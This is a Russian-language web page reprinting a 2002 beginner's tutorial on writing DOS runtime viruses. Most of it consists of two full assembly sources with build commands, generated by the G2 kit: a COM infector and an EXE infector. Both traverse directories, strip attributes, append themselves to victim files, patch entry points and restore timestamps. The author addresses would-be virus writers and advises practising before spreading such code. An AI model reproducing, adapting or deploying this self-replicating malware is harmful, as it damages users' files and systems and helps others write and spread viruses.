Написать простой компьютерный вирус под DOS


Статья была опубликована на сайте проекта WASM.RU и датируется далеким 2002-м годом. На момент написания (на начало 2000-х) могла рассматриваться по большей части как чисто теоретический обзор написания компьютерных вирусов под DOS. В статье описываются технологии заражения исполняемых файлов с расширением .com.

Даже в рамках DOS-вирусов описанные технологии являются самыми примитивными — речь идет о так называемых вирусов времени исполнения. То есть программ получающих управление только при запуске инфицированной программы.

Еще одна статья проекта WASM

Путеводитель по написанию вирусов: 1. Первые шаги — вирусы времени выполнения

Есть несколько методов для успешного заражения. Сейчас я объясню вам самый старый метод, метод времени выполнения (также его называют «прямым действием»). В наши дни его никто не использует, потому что он очень медленный, а обнаружить такой вирус сможет любой среднезаинтересованный пользователь. Hо… не бойтесь! Этот метод очень прост, и все люди на сцене делали свои первые шаги именного с него. Вы будете использовать его только в первое время. Вирус времени выполнения является программой, которая ищет файлы, используя шаблоны («.com», «*.exe», «*.*»…) и использует функции DOS-API (конечно, int 21h) Findfirst и Findnext (4Eh и 4Fh). Она также заходит в другие директории. Обычно вирусы подобного рода вирусы заражают COM и EXE, но мы также можем заражать SYS, OBJ, ZIP… но для этого мне потребуется другой туториал и… вы помните, что этот туториал для начинающих? 😉

ЗАРАЖЕНИЕ COM

Проще всего заразить COM-файл. Это первое, что вы должны освоить, потому что заражение (но не путь, которым вирус добирается до этой точки) более или менее похож на тот, как это делаю вирусы других видов (TSR и так далее):

  1. Открываем файл
  2. Сохраняем время, дату создания файла и его атрибуты
  3. Сохраняем первые (обычно 3) байта
  4. Считаем новый переход
  5. Помещаем его
  6. Добавляем тело вируса
  7. Восстанавливаем время/дату/атрибуты
  8. Закрываем файл

Вы должны знать, что COM-файл выглядит в памяти так же как и в настоящем коде (COM = Copy of Memory). DOS дает COM-файлу всю доступную память. Давайте посмотрим, как выглядит COM-программа после загрузки в память.

Написать простой компьютерный вирус под DOS

Размеp сегмента (FFFFh байтов) у COM-файлов должен быть меньше на 100h байтов, которые будут использоваться для PSP (FFFFh — 100h = FEFFh). Hо здесь возникает проблема. Hам нужно сохранить больше места, чтобы позволить расти стеку, что потребуется нам в дальнейшем (каждый раз, когда мы делаем PUSH и забываем делать POP, стек растет, и если он вырастет на слишком большое количество байтов, то наша программа будет порушена). Я оставлю для стека по крайней мере на 100 байтов больше. Ок? 🙂

Это очень легко понять… и это логично! 😉

Разговор о логичных вещах… Я думаю, что настало хорошее время попрактиковаться в COM-заражении. Это ламерский вирус. И только? Более того: это самый ламерский вирус! 😉 Hо это пособие для начинающих и я должен сделать это! Хотя меня выворачивает от этого! Хорошо, я не убью свой разум, если спрограммирую что-нибудь вроде этого, хотя я потратил на это целых 5 минут 🙂 (потратил зря! 🙂 ).

;—[ РЕЗАТЬ ЗДЕСЬ ]———————————————————
; Очень простой вирус. Hе компилировать. Hе распространять.
; Если вы сделаете копию этого вируса… Вы будете ламером!
; Hо я надеюсь, что он поможет вам стать из начинающего VXера продвинутым ;).
; И тогда потом вы отблагодарите меня 🙂

; Компилируйте с помощью: TASM /m3 lame.asm
; Линкуйте: TLINK /t lame.obj

; Вирус сгенерирован G2 0.70c (Смотрите, я не удалил сигнатуры. Это не мое!
; Самая ламерская вещь, которую вы можете сделать — это удалить сигнатуры.
; Hе забудьте об этом!)
; G2 написан Dark Angel из Phalcon/Skism

; File: LAME.ASM

.model tiny
.code

org 0100h

carrier:
db 0E9h,0,0 ; jmp start

start:
mov bр, sр ; Противоотладочное получение дельта-смещения!
int 0003h ; Int для брикпоинтов
next:
mov bp, ss:[bp-6]
sub bp, offset next

;—————————————————————————-
; Объяснение:
; Давайте посмотрим. Когда мы заражаем файл, все смещения изменяются на
; размер тела жертвы, поэтому мы выбираем регистр (обычно BP или SI), куда
; мы помещаем размер файла, и каждый раз, когда мы используем переменную или
; что-то в этом pоде, мы должны добавить pегистp, используемый как
; дельта-смещение (здесь BP).
;—————————————————————————-

mov dl, 0000h ; Диск по умолчанию
mov ah, 0047h ; Получаем директорию
lea si, [bp+offset origdir+1]
int 0021h

lea dx, [bp+offset newDTA]
mov ah, 001Ah ; устанавливаем DTA
int 0021h

;—————————————————————————-
; Объяснение:
; Первый блок сохраняет текущую директорию в переменной для последующего
; возвращения. Посмотрите в то место данного пособия, где находится описание
; структуры DTA. DTA (Disk Transfer Address) начинается в байте 80h PSP
; (Program Segment Prefix), где также находится командная строка. И вам,
; наверное, интересно… Что случится, если мы используем DTA с командной
; строкой? Это одна из причин сохранения DTA (кроме того, что мы используем
; его в своих целях, pазумеется) 😉
;—————————————————————————-

restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb ; Двигаем первый байт
movsw ; Двигаем следующие два

mov byte ptr [bp+numinfect], 0000h

;—————————————————————————-
; Объяснение:
; Эта процедура восстанавливает 3 оригинальных первых байтов зараженного
; com-файла, находящихся выше смещения 100h, а также сохраняющих эти смещения
; в DI для последующего использования. Последняя строка устанавливает
; счетчик количества заражений в 0.
;—————————————————————————-

traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; выходим, если заражен достаточное
; количество файлов

mov ah, 003Bh ; CHDIR
lea dx, [bр+offset dot_dot] ; переходим к следующей директории
int 0021h
jnc traverse_loop ; цикл, если нет ошибки

exit_traverse:

lea si, [bp+offset origdir]
mov byte ptr [si], ‘\’
mov ah, 003Bh ; восстанавливаем директорию
xchg dx, si
int 0021h

;—————————————————————————-
; Объяснение:
; Все, что мы делаем здесь, это заражение всех файлов в текущей директории,
; после чего мы меняем директорию на ..
; А когда больше доступных директорий нет, мы восстанавливаем текущую.
;—————————————————————————-

mov dx, 0080h ; в PSP
mov ah, 001Ah ; восстанавливаем DTA по умолчанию
int 0021h

return:
ret

;—————————————————————————-
; Объяснение:
; Здесь мы восстанавливаем оригинальный адрес полученнго DTA по смещению 80h
; в PSP, а затем возвращаемся к исходному смещению 100h, чтобы выполнить
; файл обычным образом 😉 (Помните, что мы зарushили di, когда он был равен
; 100h)
;—————————————————————————-

old3 db 0cdh,20h,0

infect:
mov ah, 004Eh ; находим первый
mov cx, 0007h ; все файлы
findfirstnext:
int 0021h
jc return

;—————————————————————————-
; Объяснение:
; Здесь мы ищем в текущей директории файлы, соответствующие шаблону,
; заданному в DX (в данном примере «*.COM»), с любым видом атрибутов.
; Old3 — это переменная, которая обрабатывает первые три байта выполняющегося
; зараженного COM’а. Если не был найден никакой файл, возвращается флаг
; переноса, а затем мы переходим к процедуре, которая возвращает контрол
; нашей основной программе. Если мы находим по крайней мере один подходящий
; файл, мы переходим к следующему коду, а закончив работу с файлом, мы ищем
; другой.
;—————————————————————————-

cmp word ptr [bp+newDTA+35], ‘DN’ ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so

;—————————————————————————-
; Объяснение:
; Для того, чтобы не заразить command.com, проверяем, есть ли в позиции
; name+5 (DTA+35) слово DN (ND, но слова сохраняются в обратном порядке!)
;—————————————————————————-

lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx

mov ax, 4301h ; очищаем атрибуты файла
рush ax ; сохраняем для последующего использования
xor cx, cx
int 0021h

;—————————————————————————-
; Объяснение:
; У первого блока есть двойная функция: сохранение атрибутов файла для
; последующего восстановления, а также проверяем, существует ли файл или
; здесь есть какие-то проблемы. Второй сохраняет в стеке 4301h (функция для
; установления атрибутов), а также очищает файл от нежелательных атрибутов,
; таких как read-only :).
;—————————————————————————-

lea dx, [bp+newDTA+30]
mov ax, 3D02h ; открываем R/O
int 0021h
xchg ax, bx ; хэндл в BX

mov ax, 5700h ; получаем время/дату создания файла
int 0021h
push cx
push dx

;—————————————————————————-
; Объяснение:
; Первый блок открывает файл в режиме чтения/записи, а затем помещает хэндл
; файла в BX, где он будет более полезен.
; Второй блок инструкций получает время и дату создания файла, а затем
; сохраняет их в стеке.
;—————————————————————————-

mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h

xor cx, cx
xor dx, dx
mov ax, 4202h
int 0021h

;—————————————————————————-
; Объяснение:
; Первый блок считывает 1Ah байтов (26) в переменную readbuffer, чтобы
; провести последующие сравнения. Второй блок перемещает указатель на конец
; файла по двум причинам: размер файла будет помещен в AX, и это потребуется
; нам для последующего добавления
;—————————————————————————-

cmp word ptr [bp+offset readbuffer], «ZM»
jz jmp_close

mov cx, word ptr [bp+offset readbuffer+1] ; местонахождение jmp
add cx, heaр-start+3 ; конвертируем в размер файла
cmр ax, cx ; равны, если файл уже заражен
jl skipp
jmp_close:
jmp close

;—————————————————————————-
; Объяснение:
; Первый блок сравнивает два первых байта открытого COM-файла, чтобы увидеть,
; является ли он переименованным EXE (помните, что слова храняться в
; перевернутом порядке). Второй блок проверяет предыдущее заражение,
; сравнивая размер вируса + размер жертвы (до того, как она была заражена) с
; текущим размером последней.
;—————————————————————————-

skipp:

cmр ax, 65535-(endheaр-start) ; проверяем, не слишком ли он велик
ja jmp_close ; выходим, если так

lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsb
movsw

;—————————————————————————-
; Объяснение:
; Первый блок инструкций проверяет размер COM, чтобы убедиться в возможности
; его заражения (размер файла + размер вируса не должен быть больше 0FFFFh
; (65535), потому что в противном случает PSP и/или стек повредят код.
; Второй блок перемещает значение переменной old3 (3 байта) в readbuffer.
;—————————————————————————-

sub ax, 0003h ; Virus_size-3 (размер перехода)
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h ; опкод jmp
mov byte ptr [bp+offset readbuffer], dl

lea dx, [bp+offset start] ; начало того, что добавляем
mov cx, heap-start ; pазмеp добавления
mov ah, 0040h ; добавляем вирус
int 0021h

;—————————————————————————-
; Объяснение:
; Первый блок высчитывает переход на код вируса, а затем сохраняет результат
; в переменной. Второй блок добавляет вирус к телу жертвы :).
;—————————————————————————-

mov ax, 4200h
xor dx, dx
xor cx, cx
int 0021h

 

mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h

inc [bp+numinfect]

;—————————————————————————-
; Объяснение:
; Первый блок перемещает файловый указателя на начало файла, а второй
; записывает туда переход на код вируса.
; Третий увеличивает значение переменной, которая содержит количество
; сделанных заражений.
;—————————————————————————-

close:
mov ax, 5701h ; восстанавливаем время/дату создания файла
pop dx
pop cx
int 0021h

mov ah, 003Eh
int 0021h

рoр ax ; восстанавливаем атрибуты файла
pop dx ; получаем имя файла и
рoр cx ; атрибуты из стека
int 0021h

mov ah, 004Fh ; находим следующий файл
jmp findfirstnext

;—————————————————————————-
; Объяснение:
; Первый блок инструкция восстанавливает время и дату создания файла, которые
; были сохранены в DTA. А второй закрывает файл, в то время как третий
; восстанавливает старые атрибуты зараженного файла.
; Последний блок помещает в AX досовскую функцию FindNext, после чего
; переходит к дальнейшему поиску файлов для заражения.
;—————————————————————————-

signature db «[PS/Gэ]»,0 ; Phalcon/Skism G2 ( old!! )
COMmask db «*.COM»,0 ; должен быть ASCIIZ (Ascii-строка,0)
dot_dot db «..»,0 ; новая директория

heaр: ; эти данные отправляются в кучу
newDTA db 43 dup (?) ; pазмеp DTA, 2Bh
origdir db 65 duр (?) ; где сохранять старую директорию
numinfect db ? ; обрабатывает количество заражений
readbuffer db 1ah dup (?) ; буфеp
endheap:
end carrier
;—[ CUT HERE ]————————————————————-

Все это очень просто, как вы можете видеть. И этот код полностью комментирован. Если вы еще не понимаете это, не переходите к другой главе, перечитайте все о заражении COM!!!. Hо… вирус, который заражает только COM’ы… и к тому же времени выполнения, может быть был крут много лет тому назад, но сейчас это ужасно! Прежде, чем начать распространять такой вирус, я советую вам немного подождать. Hесколько месяцев будет достаточно, чтобы лучше овладеть ассемблером, а если вы посвятите некоторое время улучшению своих навыков, вы сможете сделать TSR COM/EXE инфектоp с полной невидимостью и различными особенностями еще через несколько месяцев.

Примечание: Ладно, в Win95 есть много COM-файлов, интересно, не правда ли? Они часто используются, но тут есть одна проблема. Если мы заразим их как обычно, они подвиснут :(. Решение состоит в том, чтобы сохранить последние семь байтов файла в его окне, добавив к последним двум размер вируса.

Заключительные слова

Hе слушайте возмущенные вопли других VXеров о ваших первых шагах и ваших вирусах. Иногда некоторые из этих людей (их немного, как правило все люди сцены достаточно добры) забывают о своих первых шагах, верят, что они боги, как некоторые из AVевров.

Я прекращаю разговор об этих сосунках, которые забыли свои корни, и продолжу рассказ о заражании EXE.

ЗАРАЖЕНИЕ EXE

Первое, что вы должны знать, это то, что заражение EXE отличается от заражения COM (я думаю, что вы достаточно умны и знаете об этом 😉 ). EXE могут быть больше размером, и у них есть заголовок (я думаю, что наиболее важная часть заражения EXE — это операции с его заголовком), которые содержат некоторые полезные значения для заражения, такие как CS:IP (сохраненные в обратном порядке IP:CS), SS:SP (не сохраненные в обратном порядке), размер файла в параграфах и другую информацию. Вот структура заголовка:

Написать простой компьютерный вирус под DOS

(*) Отмеченные поля должны быть модифицированны при заражении

У EXE-файлы может быть более чем один сегмент (один для кода, один для данных и еще один для стека — CS,DS,SS (в указанном порядке 🙂 ).

Заголовок EXE генерируется линкером. Когда DOS загружает EXE в память, он выглядит примерно так:

Написать простой компьютерный вирус под DOS

Как вы можете видеть в EXE-файлах нет проблемы, существовавшей в COMах. Для нашей pаботы со стеком (PUSH и POP) у нас есть целый сегмент! Он тоже pастет назад (снизу вверх).

Давайте посмотрим алгоритм, которому вы должны следовать для реализации вашего инфектора EXE (шаг за шагом).

  1. Открываем файл (гениально!) только для чтения
  2. Считываем первые 1A байтов (26)
  3. Сохраняем их в переменной
  4. Закрываем файл
  5. Проверяем первое слово (MZ, ZM)
  6. Если совпадает, продолжаем, если нет, переходим к пункту 16
  7. Проверяем, не заражен ли файл уже
  8. Если не заражен, продолжаем, иначе переходим к пункту 17
  9. Сохраняем текущее значение CS:IP (в обратном порядке — IP:CS) для восстановления EXE
  10. Для тех же целей сохраняем SS:SP (в том же порядке)
  11. Подсчитываем новое значение CS:IP и SS:SP
  12. Модифицируем байты в последней странице и количество страниц
  13. Открываем снова (в режиме чтения/записи)
  14. Записываем заголовок
  15. Перемещаем файловый указатель к концу
  16. Добавляем тело вируса
  17. Закрываем файл

Я не хочу больше утомлять вас теоретическим материалом, и помните, что лучший путь научиться писать компьютерные вирусы — это посмотреть исходники других вирусов. А также полезно прочитать то, что я вам только что объяснил :).

;—[ CUT HERE ]————————————————————-
; Я помещу свой собственный код, когда мы перейдем к изучению чего-нибудь
; более интересного. А пока нам придется иметь дело с тем, что нагенерил
; G2 🙂
;
; Компилируйте: TASM /m3 lame.asm
; Линкуйте: TLINK /t lame.obj

; Virus generated by Gэ 0.70с
; Gэ written by Dark Angel of Phalcon/Skism

id = ‘;)’

.model tiny
.code
org 0100h

start:
call next
next:
pop bp
sub bp, offset next

;—————————————————————————-
; Объяснение:
; Это наиболее часто использующийся путь найти дельта-смещение (если вы все
; еще не знаете, что такое дельта-смещение, покончите с собой).
;—————————————————————————-

push ds
push es
push cs
pop es ; CS = ES
push cs
pop ds ; CS = ES = DS

;—————————————————————————-
; Объяснение:
; Это не COM! Помните об этом. EXE более наворочены (и чуть более сложны
; для заражения). Когда мы запускаем EXE, каждый сегмент указывает на разное
; смещение, поэтому мы должны скорректировать их соответствующим образом.
; Помните, мы не можем написать что-нибудь вроде «mov es,ds», поэтому
; приходится применить небольшой трюк для этого. Используйте стек :).
;—————————————————————————-

mov ah, 001Ah ; Set DTA
lea dx, [bp+offset newDTA]
int 0021h

mov ah, 0047h ; Получаем директорию
lea si, [bp+offset origdir+1]
cwd ; Диск по умолчанию
int 0021h

;—————————————————————————-
; Объяснение:
; Вы помните нашего старого друга, DTA? Я надеюсь, что ответом будет «да»,
; потому что если нет, то перечитайте все сначала, черт возьми!
; Вторая процедура также хорошо известна. Мы уже все это видели.
;—————————————————————————-

lea di, [bp+offset origCSIP2]
lea si, [bp+offset origCSIP]
movsw
movsw
movsw
movsw

mov byte ptr [bp+numinfect], 0000h

;—————————————————————————-
; Объяснение:
; Эй! Что-то новое! Хорошо, первый блок для последующего восстановления
; тела жертвы. Я надеюсь, что вы знаете, что делает инструкция MOVSW… Hет?
; Рppp… Я объясню вам, но в следующий pаз… КУПИТЕ КHИГУ ОБ АССЕМБЛЕРЕ!!!
; MOVSW перемещает слово из DS:SI в ES:DI (MOVSB делает то же самое, но по
; отношению к байту). Мы делаем это, потому что у нас есть два двойных слова.
; Мы также можете поместить что-нибудь вроде ‘MOV CX,4’ и ‘REP MOVSW’ или
; на 386+ два MOVSD.
;—————————————————————————-

traverse_loop:
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; выходим, если заражено достаточное
; количество файлов

mov ah, 003Bh ; CHDIR
lea dx, [bр+offset dot_dot] ; переходим к предыдущей директории
int 0021h
jnc traverse_looр ; продолжаем цикл, если нет ошибок

;—————————————————————————-
; Объяснение:
; Ломает объяснять то, что уже было объяснено…
;—————————————————————————-

exit_traverse:

lea si, [bp+offset origdir]
mov byte ptr [si], ‘\’
mov ah, 003Bh ; восстанавливаем директорию
xchg dx, si
int 0021h

pop es ; ES = DS
pop ds

mov dx, 0080h ; в PSP
mov ah, 001Ah ; восстанавливаем DTA по умолчанию
int 0021h

;—————————————————————————-
; Объяснение:
; Уже объяснено в заражении COM
;—————————————————————————-

restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh ; опкод дальнего jmp
origCSIP2 dd ?
origSPSS2 dd ?
origCSIP dd 0fff00000h
origSPSS dd ?

return:
ret

;—————————————————————————-
; Объяснение:
; Это путь, который используется, чтобы восстановить оригинальное тело
; жертвы. Взгляните на инструкции… Hаша цель — восстановить старый CS:IP
; и SS:SP зараженного EXE. Обратите внимание, что мы должны деактивировать
; прерывания, прежде чем работать со стеком. После этого мы переходим к
; оригинальному коду EXE-файла, и все будет происходить так, как будто ничего
; странного и не было 🙂
;—————————————————————————-

infect:
mov cx, 0007h ; все файлы
mov ah, 004Eh ; find first
findfirstnext:
int 0021h
jc return
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx

mov ax, 4301h ; очищаем атрибуты файла
рush ax ; сохраняем для дальнейшего использования
xor cx, cx
int 0021h

;—————————————————————————-
; Объяснение:
; Весь этого код выглядит похожим на тот, что приводился в разделе о
; заражении COM-файлов, потому что здесь мы делаем то же самое: находим
; нужные файлы, очищаем атрибуты и так далее
;—————————————————————————-

mov ax, 3D02h
lea dx, [bp+newDTA+30]
int 0021h
xchg ax, bx

mov ax, 5700h ; получаем время и дату создания файла
int 0021h
push cx
push dx

mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h

mov ax, 4202h
xor cx, cx
cwd
int 0021h

;—————————————————————————-
; Объяснение:
; Эй, парни. Все это мы уже видели в разделе о заражении COM-файлов. Hо
; отсюда и до конца идет самая кульная часть данного pаздела.
;—————————————————————————-

cmp word ptr [bp+offset readbuffer], ‘ZM’
jnz jmp_close

checkEXE:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close

;—————————————————————————-
; Объяснение:
; Первый блок сравнивает первые байты открытого файла, чтобы найти сигнатуру
; EXE-файла (MZ). Автор G2 забыл добавить проверку для ‘ZM’. Второй блок
; проверяет, не был ли файл уже заражен. Этот вирус — времени выполнения и
; использует примитивный путь для отметки зараженных экзешников (помещает
; два байта как SP в заголовок EXE)
;—————————————————————————-

skipp:

lea si, [bp+readbuffer+14h]
lea di, [bp+origCSIP]
movsw ; сохраняем оригинальное значение CS и IP
movsw

sub si, 000Ah
movsw ; сохраняем оригинальное значение SS и SP
movsw

;—————————————————————————-
; Объяснение:
; Вы должны помнить, что делает MOVSW (было объяснено выше). Ок? Да, мы
; восстанавливаем CS:IP и SS:SP открытого EXE
;—————————————————————————-

рush bx ; сохраняем хэндл файла
mov bx, word рtr [bр+readbuffer+8] ; размер заголовка в параграфах
mov cl, 0004h
shl bx, cl

рush dx ; сохраняем размер файла в
push ax ; стеке

sub ax, bx ; pазмеp файла — pазмеp заголовка
sbb dx, 0000h ; DX:AX — BX -> DX:AX

mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX

mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.

;—————————————————————————-
; Объяснение:
; Может показаться, что этот кусок кода труден для понимания. Hо это не так.
; Первый блок читает значение из readbuffer+8 (размер заголовка в
; параграфах). А затем превращает его в байты. Второй блок помещает размер
; файла в стек. Третий вычитает из размера файла рамер заголовка. Четвертый
; делит число в AX на 10 и помещает остаток в DX. После этого мы помещаем
; новые SS, IP, SP и CS.
;—————————————————————————-

pop ax ; длина файла в DX:AX
pop dx

add ax, heap-start
adc dx, 0000h

mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h

mov word рtr [bр+readbuffer+2], ax ; корректируем размер файла в
mov word ptr [bp+readbuffer+4], dx ; заголовке EXE

;—————————————————————————-
; Объяснение:
; Яааааху! Hесколько крутых математических операций! 🙂 Сначала мы
; восстанавливаем размер файла. Затем мы добавляем к нему размер вируса.
; Этот огромный блок, который делает множество вычислений используется для
; подсчитывания размера зараженного файла в заголовке, причем размер
; округляется так, чтобы быть кратным 512. Представьте, что у нас есть файл
; размеров в 513 байт, тогда у нас 2 и 1 в качестве остатка. Последний
; записывает вычисленную информацию в заголовок.
;—————————————————————————-

pop bx ; восстанавливаем хэндл файла

mov cx, heap-start
lea dx, [bp+offset start]
mov ah, 0040h ; добавляем вирус
int 0021h

xor dx, dx
mov ax, 4200h
xor cx, cx
int 0021h

 

lea dx, [bp+offset readbuffer]
mov cx, 001Ah
mov ah, 0040h
int 0021h

inc [bp+numinfect]

;—————————————————————————-
; Объяснение:
; Мы добавляем тело вируса, а затем перемещаем файловый указатель на начало.
; Теперь мы записываем новый заголовок и повышаем значение указателя на 1.
;—————————————————————————-

close:
mov ax, 5701h ; восстанавливаем время и дату создания файла
pop dx
pop cx
int 0021h

mov ah, 003Eh
int 0021h

рoр ax ; восстанавливаем атрибуты файла
pop dx ; получаем имя файла и
рoр cx ; атрибуты из стека
int 0021h

mov ah, 004Fh ; находим следующий
jmp findfirstnext

;—————————————————————————-
; Объяснение:
; Эти процедуры нам уже известны. Hет? Перечитай о заражении COM, сосунок! 😉
;—————————————————————————-

signature db «[PS/Gэ]»,0 ; Phalcon/Skism Gэ
EXEmask db «*.EXE»,0
dot_dot db «..»,0

heap:
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
end start
;—[ CUT HERE ]————————————————————-

Слишком много для вас? Ок, я знаю это, но у меня еще есть, что сказать. Когда вы поймете концепцию заражения COM и EXE, ваши знания начнут расти так быстро, как скорость света :). Hеважно, что эти вирусы уже давно устарели. Важна концепция. И если вы поймете ее, вы сможете сделать, все что захотите.

[C] Billy Belcebu, пер. Aquila


Поделиться в соц сетях

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии

Есть идеи, замечания, предложения? Воспользуйтесь формой Обратная связь или отправьте сообщение по адресу replay@sciencestory.ru
© 2017 Истории науки. Информация на сайте опубликована в ознакомительных целях может иметь ограничение 18+